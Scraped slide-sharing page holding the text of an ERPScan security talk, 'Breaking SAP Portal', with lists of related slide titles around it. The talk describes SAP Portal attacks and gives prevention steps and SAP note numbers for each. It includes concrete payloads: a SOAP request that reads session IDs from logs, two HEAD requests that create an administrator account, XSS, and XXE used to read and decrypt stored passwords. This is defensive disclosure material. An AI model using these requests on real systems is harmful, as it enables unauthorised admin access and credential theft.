Where did my day go?: OEM 12c Administration #em12c #C15LV @IOUG
Where did my day go?: OEM 12c Administration #em12c #C15LV @IOUGWhere did my day go?: OEM 12c Administration #em12c #C15LV @IOUG
Where did my day go?: OEM 12c Administration #em12c #C15LV @IOUG
 

Viewers also liked

Assess and monitor SAP security
Assess and monitor SAP securityAssess and monitor SAP security
Assess and monitor SAP security
ERPScan
 
Danielle Tronnes 2016 resume
Danielle Tronnes 2016 resumeDanielle Tronnes 2016 resume
Danielle Tronnes 2016 resume
Danielle Tronnes
 
SAP security landscape. How to protect(hack) your(their) big business
SAP security landscape. How to protect(hack) your(their) big businessSAP security landscape. How to protect(hack) your(their) big business
SAP security landscape. How to protect(hack) your(their) big business
ERPScan
 
Media pembelajaran usaha dan energi
Media pembelajaran usaha dan energiMedia pembelajaran usaha dan energi
Media pembelajaran usaha dan energi
rahmiyati95
 
Our Tuataras
Our TuatarasOur Tuataras
Our Tuataras
CPS_Rm09
 

Viewers also liked (11)

Assess and monitor SAP security
Assess and monitor SAP securityAssess and monitor SAP security
Assess and monitor SAP security
 
B&G Guide (Final)
B&G Guide (Final)B&G Guide (Final)
B&G Guide (Final)
 
Danielle Tronnes 2016 resume
Danielle Tronnes 2016 resumeDanielle Tronnes 2016 resume
Danielle Tronnes 2016 resume
 
SAP security landscape. How to protect(hack) your(their) big business
SAP security landscape. How to protect(hack) your(their) big businessSAP security landscape. How to protect(hack) your(their) big business
SAP security landscape. How to protect(hack) your(their) big business
 
Media pembelajaran usaha dan energi
Media pembelajaran usaha dan energiMedia pembelajaran usaha dan energi
Media pembelajaran usaha dan energi
 
Attacking SAP users with sapsploit
Attacking SAP users with sapsploit Attacking SAP users with sapsploit
Attacking SAP users with sapsploit
 
ERP Security. Myths, Problems, Solutions
ERP Security. Myths, Problems, SolutionsERP Security. Myths, Problems, Solutions
ERP Security. Myths, Problems, Solutions
 
Injecting evil code in your SAP J2EE systems. Security of SAP Software Deploy...
Injecting evil code in your SAP J2EE systems. Security of SAP Software Deploy...Injecting evil code in your SAP J2EE systems. Security of SAP Software Deploy...
Injecting evil code in your SAP J2EE systems. Security of SAP Software Deploy...
 
Oracle PeopleSoft applications are under attack (HITB AMS)
Oracle PeopleSoft applications are under attack (HITB AMS)Oracle PeopleSoft applications are under attack (HITB AMS)
Oracle PeopleSoft applications are under attack (HITB AMS)
 
SAP security in figures
SAP security in figuresSAP security in figures
SAP security in figures
 
Our Tuataras
Our TuatarasOur Tuataras
Our Tuataras
 

Similar to Breaking SAP portal (DeepSec)

Entity Linking and REST Patterns in SOA
Entity Linking and REST Patterns in SOA Entity Linking and REST Patterns in SOA
Entity Linking and REST Patterns in SOA
WSO2
 

Similar to Breaking SAP portal (DeepSec) (20)

A crushing blow at the heart of SAP’s J2EE Engine.
A crushing blow at the heart of SAP’s J2EE Engine. A crushing blow at the heart of SAP’s J2EE Engine.
A crushing blow at the heart of SAP’s J2EE Engine.
 
Securing your Oracle Fusion Middleware Environment, On-Prem and in the Cloud
Securing your Oracle Fusion Middleware Environment, On-Prem and in the CloudSecuring your Oracle Fusion Middleware Environment, On-Prem and in the Cloud
Securing your Oracle Fusion Middleware Environment, On-Prem and in the Cloud
 
Monitoring Agile PLM with JConsole
Monitoring Agile PLM with JConsole Monitoring Agile PLM with JConsole
Monitoring Agile PLM with JConsole
 
Pixels_Camp
Pixels_CampPixels_Camp
Pixels_Camp
 
UCS Management APIs A Technical Deep Dive
UCS Management APIs A Technical Deep DiveUCS Management APIs A Technical Deep Dive
UCS Management APIs A Technical Deep Dive
 
Building microservices sample application
Building microservices sample applicationBuilding microservices sample application
Building microservices sample application
 
Liferay Devcon presentation on Workflow & Dynamic Forms
Liferay Devcon presentation on Workflow & Dynamic FormsLiferay Devcon presentation on Workflow & Dynamic Forms
Liferay Devcon presentation on Workflow & Dynamic Forms
 
Liferay Devcon Presentation on Dynamic Forms with Liferay Workflow
Liferay Devcon Presentation on Dynamic Forms with Liferay WorkflowLiferay Devcon Presentation on Dynamic Forms with Liferay Workflow
Liferay Devcon Presentation on Dynamic Forms with Liferay Workflow
 
WSO2 Italia Open Break Session #2 - Microgateway
WSO2 Italia Open Break Session #2 - MicrogatewayWSO2 Italia Open Break Session #2 - Microgateway
WSO2 Italia Open Break Session #2 - Microgateway
 
Entity Linking and REST Patterns in SOA
Entity Linking and REST Patterns in SOA Entity Linking and REST Patterns in SOA
Entity Linking and REST Patterns in SOA
 
Bringing the JAMstack to the Enterprise
Bringing the JAMstack to the EnterpriseBringing the JAMstack to the Enterprise
Bringing the JAMstack to the Enterprise
 
Ride on the Fast Track of Web with Ruby on Rails- Part 2
Ride on the Fast Track of Web with Ruby on Rails- Part 2Ride on the Fast Track of Web with Ruby on Rails- Part 2
Ride on the Fast Track of Web with Ruby on Rails- Part 2
 
Servlets 3.0 - Asynchronous, Extensibility, Ease-of-use @ JavaOne Brazil 2010
Servlets 3.0 - Asynchronous, Extensibility, Ease-of-use @ JavaOne Brazil 2010Servlets 3.0 - Asynchronous, Extensibility, Ease-of-use @ JavaOne Brazil 2010
Servlets 3.0 - Asynchronous, Extensibility, Ease-of-use @ JavaOne Brazil 2010
 
Mysql nowwhat
Mysql nowwhatMysql nowwhat
Mysql nowwhat
 
AtlasCamp 2015: Connect everywhere - Cloud and Server
AtlasCamp 2015: Connect everywhere - Cloud and ServerAtlasCamp 2015: Connect everywhere - Cloud and Server
AtlasCamp 2015: Connect everywhere - Cloud and Server
 
Pyramid deployment
Pyramid deploymentPyramid deployment
Pyramid deployment
 
점진적인 레거시 웹 애플리케이션 개선 과정
점진적인 레거시 웹 애플리케이션 개선 과정점진적인 레거시 웹 애플리케이션 개선 과정
점진적인 레거시 웹 애플리케이션 개선 과정
 
NZ Code Camp 2011 PowerShell + SharePoint
NZ Code Camp 2011 PowerShell + SharePointNZ Code Camp 2011 PowerShell + SharePoint
NZ Code Camp 2011 PowerShell + SharePoint
 
Software as a Service workshop / Unlocked: the Hybrid Cloud 12th May 2014
Software as a Service workshop / Unlocked: the Hybrid Cloud 12th May 2014Software as a Service workshop / Unlocked: the Hybrid Cloud 12th May 2014
Software as a Service workshop / Unlocked: the Hybrid Cloud 12th May 2014
 
Agile integration workshop Seattle
Agile integration workshop SeattleAgile integration workshop Seattle
Agile integration workshop Seattle
 

More from ERPScan

Business breakdown vulnerabilities in ERP via ICS and ICS via ERP
Business breakdown vulnerabilities in ERP via ICS and ICS via ERPBusiness breakdown vulnerabilities in ERP via ICS and ICS via ERP
Business breakdown vulnerabilities in ERP via ICS and ICS via ERP
ERPScan
 
SAP security made easy
SAP security made easySAP security made easy
SAP security made easy
ERPScan
 
EAS-SEC Project
EAS-SEC ProjectEAS-SEC Project
EAS-SEC Project
ERPScan
 
If I want a perfect cyberweapon, I'll target ERP - second edition
If I want a perfect cyberweapon, I'll target ERP - second editionIf I want a perfect cyberweapon, I'll target ERP - second edition
If I want a perfect cyberweapon, I'll target ERP - second edition
ERPScan
 

More from ERPScan (20)

Attacking SAP Mobile
Attacking SAP MobileAttacking SAP Mobile
Attacking SAP Mobile
 
Chinese attack on USIS exploiting SAP vulnerability. Detailed review and comm...
Chinese attack on USIS exploiting SAP vulnerability. Detailed review and comm...Chinese attack on USIS exploiting SAP vulnerability. Detailed review and comm...
Chinese attack on USIS exploiting SAP vulnerability. Detailed review and comm...
 
The latest changes to SAP cybersecurity landscape
The latest changes to SAP cybersecurity landscapeThe latest changes to SAP cybersecurity landscape
The latest changes to SAP cybersecurity landscape
 
Oracle PeopleSoft applications are under attacks (Hack in Paris)
Oracle PeopleSoft applications are under attacks (Hack in Paris)Oracle PeopleSoft applications are under attacks (Hack in Paris)
Oracle PeopleSoft applications are under attacks (Hack in Paris)
 
Business breakdown vulnerabilities in ERP via ICS and ICS via ERP
Business breakdown vulnerabilities in ERP via ICS and ICS via ERPBusiness breakdown vulnerabilities in ERP via ICS and ICS via ERP
Business breakdown vulnerabilities in ERP via ICS and ICS via ERP
 
5 real ways to destroy business by breaking SAP applications
5 real ways to destroy business by breaking SAP applications5 real ways to destroy business by breaking SAP applications
5 real ways to destroy business by breaking SAP applications
 
Implementing SAP security in 5 steps
Implementing SAP security in 5 stepsImplementing SAP security in 5 steps
Implementing SAP security in 5 steps
 
SAP security made easy
SAP security made easySAP security made easy
SAP security made easy
 
13 real ways to destroy business by breaking company’s SAP applications
13 real ways to destroy business by breaking company’s SAP applications13 real ways to destroy business by breaking company’s SAP applications
13 real ways to destroy business by breaking company’s SAP applications
 
EAS-SEC Project
EAS-SEC ProjectEAS-SEC Project
EAS-SEC Project
 
If I want a perfect cyberweapon, I'll target ERP - second edition
If I want a perfect cyberweapon, I'll target ERP - second editionIf I want a perfect cyberweapon, I'll target ERP - second edition
If I want a perfect cyberweapon, I'll target ERP - second edition
 
All your SAP passwords belong to us
All your SAP passwords belong to usAll your SAP passwords belong to us
All your SAP passwords belong to us
 
Practical SAP pentesting (B-Sides San Paulo)
Practical SAP pentesting (B-Sides San Paulo)Practical SAP pentesting (B-Sides San Paulo)
Practical SAP pentesting (B-Sides San Paulo)
 
Practical SAP pentesting workshop (NullCon Goa)
Practical SAP pentesting workshop (NullCon Goa)Practical SAP pentesting workshop (NullCon Goa)
Practical SAP pentesting workshop (NullCon Goa)
 
EAS-SEC: Framework for securing business applications
EAS-SEC: Framework for securing business applicationsEAS-SEC: Framework for securing business applications
EAS-SEC: Framework for securing business applications
 
If I want a perfect cyberweapon, I'll target ERP
If I want a perfect cyberweapon, I'll target ERPIf I want a perfect cyberweapon, I'll target ERP
If I want a perfect cyberweapon, I'll target ERP
 
SAP SDM Hacking
SAP SDM HackingSAP SDM Hacking
SAP SDM Hacking
 
Securing SAP in 5 steps
Securing SAP in 5 stepsSecuring SAP in 5 steps
Securing SAP in 5 steps
 
What CISOs should know about SAP security
What CISOs should know about SAP securityWhat CISOs should know about SAP security
What CISOs should know about SAP security
 
With big data comes big responsibility
With big data comes big responsibilityWith big data comes big responsibility
With big data comes big responsibility
 

Breaking SAP portal (DeepSec)

  • 1. Invest  in  security   to  secure  investments   Breaking  SAP  Portal   Alexander  Polyakov  CTO  ERPScan   Dmitry  Chastuchin  -­‐  Principal  Researcher  ERPScan  
  • 2. About  ERPScan   •  The   only   360-­‐degree   SAP   Security   solu8on   -­‐   ERPScan   Security   Monitoring  Suite  for  SAP   •  Leader  by  the  number  of  acknowledgements  from  SAP  (  150+  )   •  60+  presentaHons  key  security  conferences  worldwide   •  25  Awards  and  nominaHons   •  Research  team  -­‐  20  experts  with  experience  in    different  areas   of  security   •  Headquarters  in  Palo  Alto  (US)  and  Amsterdam  (EU)       2  
  • 3. Agenda     •  Say  hello  to  SAP  Portal   •  Breaking  Portal  through  SAP  Services   •  Breaking  Portal  through  J2EE  Engine   •  Breaking  Portal  through  Portal  issues   •  Conclusion   3  
  • 4. SAP   •  The  most  popular  business  applica8on   •  More  than  180000  customers  worldwide     •  74%  of  Forbes  500  run  SAP   4  
  • 6. Say  hello  to  Portal   •  Point  of  web  access  to  SAP  systems   •  Point  of  web  access  to  other  corporate  systems   •  Way  for  aUackers  to  get  access  to  SAP  from  the  Internet   •  ~17  Portals  in  Switzerland,  according  to  Shodan   •  ~11  Portals  in  Switzerland,  according  to  Google   6  
  • 8. Okay,  okay.  SAP  Portal  is  important,  and  it  has  many   links  to  other  modules.  So  what?   8  
  • 10. SAP  Management  Console   •  SAP  MC  provides  a  common  framework  for  centralized  system   management   •  Allowing  to  see  the  trace  and  log  messages   •  Using  JSESSIONID  from  logs,  aUacker  can  log  into  Portal      What  we  can  find  into  logs?     Right!  File  userinterface.log  contains  calculated  JSESIONID   But…aUacker  must  have  creden8al  for  reading  log  file!   Wrong!     10  
  • 11. SAP  Management  Console   <?xml  version="1.0"?>   <SOAP-­‐ENV:Envelope  xmlns:SOAP-­‐ENV="hUp://schemas.xmlsoap.org/soap/envelope/"  xmlns:xsi="hUp:// www.w3.org/2001/XMLSchema-­‐instance"  xmlns:xs="hUp://www.w3.org/2001/XMLSchema">   <SOAP-­‐ENV:Header>          <sapsess:Session  xmlns:sapsess="hUp://www.sap.com/webas/630/soap/features/session/">          <enableSession>true</enableSession>   </sapsess:Session>   </SOAP-­‐ENV:Header>   <SOAP-­‐ENV:Body>          <ns1:ReadLogFile  xmlns:ns1="urn:SAPControl">                  <filename>j2ee/cluster/server0/log/system/userinterface.log</filename>                  <filter/>                  <language/>                  <maxentries>%COUNT%</maxentries>                  <statecookie>EOF</statecookie>          </ns1:ReadLogFile>   </SOAP-­‐ENV:Body>   </SOAP-­‐ENV:Envelope>   11  
  • 12. PrevenHon   •       Don’t  use  TRACE_LEVEL  =  3  in  produc8on   systems  or  delete  traces     •       Install  notes  927637  and  1439348             hUp://help.sap.com/saphelp_nwpi71/helpdata/en/ d6/49543b1e49bc1fe10000000a114084/frameset.htm     12  
  • 14. SSO  (old  but  sHll  works)   •  SAP  implements  SSO  using  the  Header  Variable  Login  Module   creden8als   check   okay   cookie   AUacker   header_auth   cookie   tnx  Mariano  ;)     14  
  • 15. PrevenHon   •   Implement  proper  network  filters  to  avoid  direct   connec8ons  to  SAP     •   J2EE  Engine.  If  you  use  it  for  Windows  authen8ca8on,   switch  to  SPNegoLoginModule   hUp://help.sap.com/saphelp_nw73ehp1/helpdata/en/d0/ a3d940c2653126e10000000a1550b0/frameset.htm     15  
  • 17. Access  control      Web  Dynpro                                          -­‐  programma8c      Portal  iViews                                        -­‐  programma8c      J2EE  Web  apps                                -­‐  declara8ve   ProgrammaHc     By  UME   DeclaraHve       By  WEB.XML   17  
  • 18. DeclaraHve  access  control   •  The  central  en8ty  in  the  J2EE  authoriza8on  model  is  the  security   role.   •  Programmers  define  the  applica8on-­‐specific  roles  in  the  J2EE   deployment  descriptor   web.xml      web-­‐j2ee-­‐engine.xml   18  
  • 20. web.xml   <servlet>          <servlet-­‐name>Cri8calAc8on</servlet-­‐name>          <servlet-­‐class>com.sap.admin.Cri8cal.Ac8on</servlet-­‐class>           </servlet>   <servlet-­‐mapping>              <servlet-­‐name>Cri8calAc8on</</servlet-­‐name>              <url-­‐paUern>/admin/cri8cal</url-­‐paUern>      </servlet-­‐mapping   <security-­‐constraint>   <web-­‐resource-­‐collec8on>   <web-­‐resource-­‐name>Restrictedaccess</web-­‐resource-­‐name>   <url-­‐paUern>/admin/*</url-­‐paUern>   <hUp-­‐method>GET</hUp-­‐method>   </web-­‐resource-­‐collec8on>   <auth-­‐constraint>            <role-­‐name>administrator</role-­‐name>    </auth-­‐constraint>   </security-­‐constraint>   20  
  • 21. Verb  Tampering     •  If  we  are  trying  to  get  access  to  an  applica8on  using  GET  –  we   need  a  login:pass  and  administrator  role   •  What  if  we  try  to  get  access  to  applica8on  using  HEAD  instead   GET?   •  PROFIT!   •  Did  U  know  about  ctc?   21  
  • 22. Verb  Tampering     Need  Admin  account  in  SAP  Portal?     Just  send  two  HEAD  requests     •  Create  new  user  blabla:blabla     HEAD  /ctc/ConfigServlet?param=com.sap.ctc.u8l.UserConfig;CREATEUSER;USERNAME=blabla,PASSWORD=blabla       •  Add  user  blabla  to  group  Administrators     HEAD  /ctc/ConfigServlet?param=com.sap.ctc.u8l.UserConfig;ADD_USER_TO_GROUP;USERNAME=blabla,GROUPNAME=Administrators       Works  when  UME  uses  JAVA  database       22  
  • 23. PrevenHon   • Install  SAP  notes  1503579,1616259     • Install  other  SAP  notes  about  Verb  Tampering       • Scan  applica8ons  with  ERPScan  WEB.XML  checker     • Disable  the  applica8ons  that  are  not  necessary     23  
  • 25. web.xml   <servlet>          <servlet-­‐name>Cri>calAc>on</servlet-­‐name>          <servlet-­‐class>com.sap.admin.Cri>cal.Ac>on</servlet-­‐class>           </servlet>   <servlet-­‐mapping>              <servlet-­‐name>Cri>calAc>on</</servlet-­‐name>              <url-­‐paBern>/admin/cri>cal</url-­‐paBern>      </servlet-­‐mapping   <security-­‐constraint>   <web-­‐resource-­‐collec>on>   <web-­‐resource-­‐name>Restrictedaccess</web-­‐resource-­‐name>   <url-­‐paBern>/admin/*</url-­‐paBern>   <hBp-­‐method>GET</hBp-­‐method>   <hBp-­‐method>HEAD</hBp-­‐method>   </web-­‐resource-­‐collec>on>   <auth-­‐constraint>            <role-­‐name>administrator</role-­‐name>    </auth-­‐constraint>   </security-­‐constraint>   GET  /admin/cri8cal/Cri>calAc>on   GET  /servlet/com.sap.admin.Cri8cal.Ac8on   25  
  • 26. Invoker  Servlet   •  Want  to  execute  an  OS  command  on  J2EE  server  remotely?   •  Maybe  upload  a  backdoor  in  a  Java  class?   •  Or  sniff  all  traffic  ?   SHll  remember  ctc?   26  
  • 28. PrevenHon   •   Update  to  the  latest  patch  1467771,  1445998     • “EnableInvokerServletGlobally”    must  be  “false”       •   Check  all  WEB.XML  files  with  ERPScan  WEBXML   checker     28  
  • 29. So,  where  is  Portal?   29  
  • 30. SAP  Portal   •  User  access  rights  to  objects  are  in  the  Portal  Content  Directory   (PCD)   •  Based  on  ACL   •  2  types  of  access:   –  (design  8me)  for  administrators   –  (run8me)  for  users   30  
  • 31. Portal    Permission  Levels   31  
  • 32. End  User  permission   The  objects  where  end  user  permission  is  enabled  affect  the   following  areas  in  Portal:   –  All  Portal  Catalog  obj  with  end  user  permission     –  Authorized  Portal  users  may  access  restricted      Portal  components  by  URL  if  they  are  granted  permission  in  the   appropriate  security  zone.   32  
  • 33. Administrator  permission   •  Owner  =  full  control  +  modify  permissions   •  Full  control  =  read/write  +  delete  obj   •  Read/Write  =  read+write+edit  proper8es+  add/rem  child   •  Write  (folders  only)  =  create  objects   •  Read  =  view  obj+create  instances        (delta  links  and  copies)   •  None  =  access  not  granted   33  
  • 34. Role  Assigner  permission   •  The  Role  Assigner  permission  seyng  is  available  for  role  objects   •  It  allows  you  to  determine  which  Portal  users  are  permiUed  to   assign  other  users,  groups,  or  roles  to  the  role  principle  using   the  Role  Assignment  tool   34  
  • 35. Security  Zones     •  Security  zones  allow  the  system  administrator  to  control  which   Portal  components  and  Portal  services  a  Portal  user  can  launch   •  A  security  zone  specifies  the  vendor  ID,  the  security  area,  and   safety  level  for  each  Portal  component  and  Portal  service   35   Why?  To  group  mul>ple  iViews  easily   like  files  in  directories    
  • 36. Security  Zones     •  The  security  zone  is  defined  in  a  Portal  applica8on  descriptor   XML  file  portalapps.xml   •  A  Portal  component  or  service  can  only  belong  to  one  security   zone   •  Zones  allows  the  administrator  to  assign  permissions  to  a  safety   level,  instead  of  assigning  them  directly   36   Why?  To  group  mul>ple  iViews  easily   like  files  in  directories    
  • 37. 37   We  can  get  access  to  Portal   iViews    using  direct  URL:     /irj/servlet/prt/portal/prtroot/<iView_ID>     And  only  Security  Zone  rights  will  be  checked    
  • 38. Security  Zones     •  So,  SecZones  offer  an  extra,  but  op8onal,  layer  of  code-­‐level   security  to  iViews   –  User-­‐>  check  ”end  user”  permission  to  the  role-­‐>  view  iView   –  User-­‐>  check  ”end  user”  permission  to  the  role-­‐>  check  ”end   user”  permission  to  the  SecZone  -­‐>  view  iView     By  default,  this  func8onality  is  disabled   38  
  • 39. 39   So  I  wonder  how  many  Portal   applica8ons  with  NoLow  Safety   exist?  
  • 40. Safety  Levels  for  Security  Zone   •  No  Safety   –  Anonymous  users  are  permiUed  to  access  portal  components  defined  in   the  security  zone.   •  Low  Safety   –  A  user  must  be  at  least  an  authen8cated  portal  user  to  access  portal   components  defined  in  the  security  zone.   •  Medium  Safety   –  A  user  must  be  assigned  to  a  par8cular  portal  role  that  is  authorized  to   access  portal  components  defined  in  the  security  zone   •  High  Safety   –  A  user  must  be  assigned  to  a  portal  role  with  higher  administra8ve  rights   that  is  authorized  to  access  portal  components  defined  in  the  security   zone.   40  
  • 41.  Zones  with  no  safety   Many  custom  applica8ons  with  low  security  level  zone   41  
  • 42. PrevenHon   Check  security  zones  permissions     • hUp://help.sap.com/saphelp_nw70/helpdata/en/25/85de55a94c4b5fa7a2d74e8ed201b0/frameset.htm   • hUp://help.sap.com/saphelp_nw70/helpdata/en/f6/2604db05fd11d7b84200047582c9f7/frameset.htm   42  
  • 43. SAP  Portal   •  Web  based  services   •  All  OWASP  TOP10  actual     –  XSS   –  Phishing   –  Traversal   –  XXE   –  …     43  
  • 45. XSS   •  Many  XSSs  in  Portal   •  But  some8mes  “hUponly”   •  But  when  we  exploit  XSS,  we  can  use  the  features  of  SAP  Portal   45  
  • 46. EPCF          EPCF  provides  a  JavaScript  API  designed  for  the  client-­‐side   communica8on  between  portal  components  and  the  portal   core  framework   •  Enterprise  Portal  Client  Manager  (EPCM)   •  iViews  can  access  the  EPCM  object  from  every  portal  page   or  IFrame   •  Every  iView  contains  the  EPCM  object   •  For  example,  EPCF  used  for  transient  user  data  buffer  for   iViews   <SCRIPT>      alert(EPCM.loadClientData("urn:com.sap.myObjects",  "person");   </SCRIPT>   46  
  • 47. PrevenHon    Install  SAP  note  1656549   47  
  • 48. KM  Phishing   SAP  Knowledge  Management  may  be  used  to  create  phishing  pages   48  
  • 51. Directory  traversal  fix  bypass   51  
  • 52. PrevenHon   Install  SAP  note  1630293   52  
  • 53. 53   Cut  the  Crap,    Show  Me  the  Hack  
  • 54. Breaking  SAP  Portal   •  Found  a  file  in  the  OS  of  SAP  Portal  with  the  encrypted   passwords  for  administra8on  and  DB   •  Found  a  file  in  the  OS  of  SAP  Portal  with  keys  to  decrypt   passwords   •  Found  a  vulnerability  (another  one  ;))  which  allows  reading  the   files  with  passwords  and  keys   •  Decrypt  passwords  and  log  into  Portal   •  PROFIT!   54  
  • 55. Read  file    How  we  can  read  the  file?     –  Directory  Traversal   –  OS  Command  execute     –  XML  External  En8ty  (XXE)   55  
  • 56. XXE  in  Portal   56  
  • 57. XXE  in  Portal   57  
  • 58. XXE   Error  based  XXE   58  
  • 59. Breaking  SAP  Portal   •  Ok,  we  can  read  files   •  Where  are  the  passwords?   •  The  SAP  J2EE  Engine  stores  the  database  user  SAP<SID>DB;  its   password  is  here:   usrsap<SID>SYSglobalsecuritydataSecStore.proper>es     59  
  • 60. Where  are  the  passwords?  (config.proper4es)    rdbms.maximum_connec8ons=5   system.name=TTT   secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/data/ SecStore.key   secstorefs.secfile=/oracle/TTT/sapmnt/global/security/data/ SecStore.proper8es   secstorefs.lib=/oracle/TTTsapmnt/global/security/lib   rdbms.driverLoca8on=/oracle/client/10x_64/instantclient/ ojdbc14.jar   rdbms.connec8on=jdbc/pool/TTT   rdbms.ini8al_connec8ons=1   60  
  • 61. Where  are  the  passwords?  (config.proper4es)    rdbms.maximum_connec8ons=5   system.name=TTT   secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/data/SecStore.key   secstorefs.secfile=/oracle/TTT/sapmnt/global/security/data/SecStore.proper8es   secstorefs.lib=/oracle/TTTsapmnt/global/security/lib   rdbms.driverLoca8on=/oracle/client/10x_64/instantclient/ojdbc14.jar   rdbms.connec8on=jdbc/pool/TTT   rdbms.ini8al_connec8ons=1   61  
  • 62. 62   But  where  is  the  key?  
  • 63. SecStore.properHes   63   $internal/version=Ni4zFF4wMSeaseforCCMxegAfx   admin/host/TTT=7KJuOPPs/+u +14jM7uy7cy7exrZuYvevkSrPxwueur2445yxgBS   admin/password/TTT=7KJuOPPs/+uv+14j56vDc7M7v7dytbGbkgqDp +QD04b0Fh   jdbc/pool/TTT=7KJuOPPs/+u5jM6s1cvvgQ1gzFvarxuUzEJTHTJI0VGegH   admin/port/TTT=7KJuOPPs/+u+1j4vD1cv6ZTvd336rzEd7267Rwr4ZUgRTQ   $internal/check=BJRrz€eUA+bw4XCzdz16zX78u•t   $internal/mode=encrypted   admin/user/TTT=7KJuOPPs/+u +14j6s14sTxXU3ONl3rL6N7yssV75eC6/5S3E  
  • 64. config.properHes    rdbms.maximum_connec8ons=5   system.name=TTT   secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/data/SecStore.key   secstorefs.secfile=/oracle/TTT/sapmnt/global/security/data/SecStore.proper8es   secstorefs.lib=/oracle/TTTsapmnt/global/security/lib   rdbms.driverLoca8on=/oracle/client/10x_64/instantclient/ojdbc14.jar   rdbms.connec8on=jdbc/pool/TTT   rdbms.ini8al_connec8ons=1   64  
  • 65. Get  the  password   •  We  have  an  encrypted  password   •  We  have  a  key  to  decrypt  it   We  got  the  J2EE  admin  and  JDBC  login:password!   65  
  • 66. PrevenHon   •   Install  SAP  note  1619539   •   Restrict  read  access  to  files   SecStore.proper>es  and  SecStore.key   66  
  • 67. Portal  post  exploitaHon   •  Lot  of  links  to  other  systems  in  corporate  LAN   •  Using  SSRF,  aUackers  can  get  access  to  these  systems   What  is  SSRF?   67  
  • 68. SSRF  History:  Basics   •  We  send  Packet  A  to  Service  A   •  Service  A  ini8ates  Packet  B  to  service  B   •  Services  can  be  on  the  same  or  different  hosts   •  We  can  manipulate  some  fields  of  packet  B  within  packet  A   •  Various  SSRF  aUacks  depend  on  how  many  fields  we  can   control  on  packet  B     Packet  A   Packet  B   68  
  • 69. ParHal  Remote  SSRF:     HTTP  afacks  on  other  services   HTTP  Server    Corporate   network   Direct  aUack      GET  /vuln.jsp     SSRF  AUack     SSRF  AUack     Get  /vuln.jst     A   B   69  
  • 70. Gopher  uri  scheme   •  Using  gopher://  uri  scheme,  it  is  possible  to  send  TCP  packets   –   Exploit  OS  vulnerabili8es   –   Exploit  old  SAP  applicaHon  vulnerabiliHes     –   Bypass  SAP  security  restric8ons   –   Exploit  vulnerabili8es  in  local  services     More  info  in  our  BH2012  presenta8on:   SSRF  vs.  Business  Cri>cal  Applica>ons   hUp://erpscan.com/wp-­‐content/uploads/2012/08/SSRF-­‐vs-­‐Businness-­‐cri8cal-­‐applica8ons-­‐ whitepaper.pdf   70  
  • 72. Conclusion   It  is  possible  to  protect  yourself  from  these  kinds  of  issues,     and  we  are  working  close  with  SAP  to  keep  customers  secure   SAP  Guides   It’s  all  in  your  hands   Regular  security  assessments   ABAP  code  review   Monitoring  technical  security   SegregaHon  of  DuHes   72  
  • 73. Future  work    Many  of  the  researched  issues  cannot  be  disclosed  now  because   of   our   good   rela>onship   with   SAP   Product   Security   Response   Team,  whom  I  would  like  to  thank  for  coopera>on.  However,  if   you  want  to  be  the  first  to  see  new  aBacks  and  demos,  follow  us   at  @erpscan  and  aBend  future  presenta>ons:     •  December  6  –  BlackHat  (UAE,  Abu  Dhabi)   •  December  13  –  Syscan  360  (Beijing,  China)             73  
  • 74.     74   Web:    www.erpscan.com   e-­‐mail:    info@erpscan.com                                     TwiBer:  @erpscan        @sh2kerr                @_chipik